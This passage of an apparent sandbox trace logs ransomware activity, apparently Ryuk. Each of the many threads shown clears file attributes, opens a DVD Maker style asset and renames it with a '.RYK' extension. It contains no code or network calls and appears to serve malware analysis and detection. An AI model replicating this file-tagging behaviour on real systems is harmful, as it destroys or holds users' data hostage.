	[0224.783] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.783] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.783] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 687
	os_tid = 0x12ec

	[0224.785] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", dwFileAttributes=0x80) returned 0
	[0224.785] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.785] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.786] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 688
	os_tid = 0x12f0

	[0224.787] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0224.787] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.788] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 689
	os_tid = 0x12f4

	[0224.789] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG", dwFileAttributes=0x80) returned 0
	[0224.789] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.790] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.790] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 690
	os_tid = 0x12f8

	[0224.791] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png", dwFileAttributes=0x80) returned 0
	[0224.791] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.792] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.792] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 691
	os_tid = 0x12fc

	[0224.931] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png", dwFileAttributes=0x80) returned 0
	[0224.931] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.932] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 692
	os_tid = 0x1300

	[0224.933] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png", dwFileAttributes=0x80) returned 0
	[0224.933] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.933] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 693
	os_tid = 0x1304

	[0224.935] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png", dwFileAttributes=0x80) returned 0
	[0224.935] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.935] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_rightarrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 694
	os_tid = 0x1308

	[0224.936] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png", dwFileAttributes=0x80) returned 0
	[0224.937] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.937] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_uparrow.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_uparrow.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 695
	os_tid = 0x130c

	[0224.938] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png", dwFileAttributes=0x80) returned 0
	[0224.938] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.938] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 696
	os_tid = 0x1310

	[0224.939] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png", dwFileAttributes=0x80) returned 0
	[0224.940] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.940] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.940] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 697
	os_tid = 0x1314

	[0224.941] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png", dwFileAttributes=0x80) returned 0
	[0224.941] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.941] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.942] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\16_9-frame-image-mask.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\16_9-frame-image-mask.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 698
	os_tid = 0x1318

	[0224.942] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png", dwFileAttributes=0x80) returned 0
	[0224.943] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.943] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\babypink.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\babypink.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 699
	os_tid = 0x131c

	[0224.944] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png", dwFileAttributes=0x80) returned 0
	[0224.944] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.944] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 700
	os_tid = 0x1320

	[0224.946] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", dwFileAttributes=0x80) returned 0
	[0224.946] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.946] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.947] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 701
	os_tid = 0x1324

	[0224.948] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0224.948] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0224.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0224.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 702
	os_tid = 0x1328

	[0225.112] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv", dwFileAttributes=0x80) returned 0
	[0225.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.113] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_rgb6.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 703
	os_tid = 0x132c

	[0225.114] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv", dwFileAttributes=0x80) returned 0
	[0225.114] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_RGB6_PAL.wmv.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_rgb6_pal.wmv.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 704
	os_tid = 0x1330

	[0225.116] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png", dwFileAttributes=0x80) returned 0
	[0225.116] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-back-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-back-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 705
	os_tid = 0x1334

	[0225.118] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png", dwFileAttributes=0x80) returned 0
	[0225.118] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-next-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-next-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 706
	os_tid = 0x1338

	[0225.120] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png", dwFileAttributes=0x80) returned 0
	[0225.120] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.120] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\btn-previous-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\btn-previous-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 707
	os_tid = 0x133c

	[0225.122] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png", dwFileAttributes=0x80) returned 0
	[0225.122] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\button-highlight.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\button-highlight.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 708
	os_tid = 0x1340

	[0225.123] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png", dwFileAttributes=0x80) returned 0
	[0225.125] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0225.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\chapters-static.png.RYK" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\chapters-static.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 709
	os_tid = 0x1344

	[0225.127] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png", dwFileAttributes=0x80) returned 0
	[0225.127] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0225.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
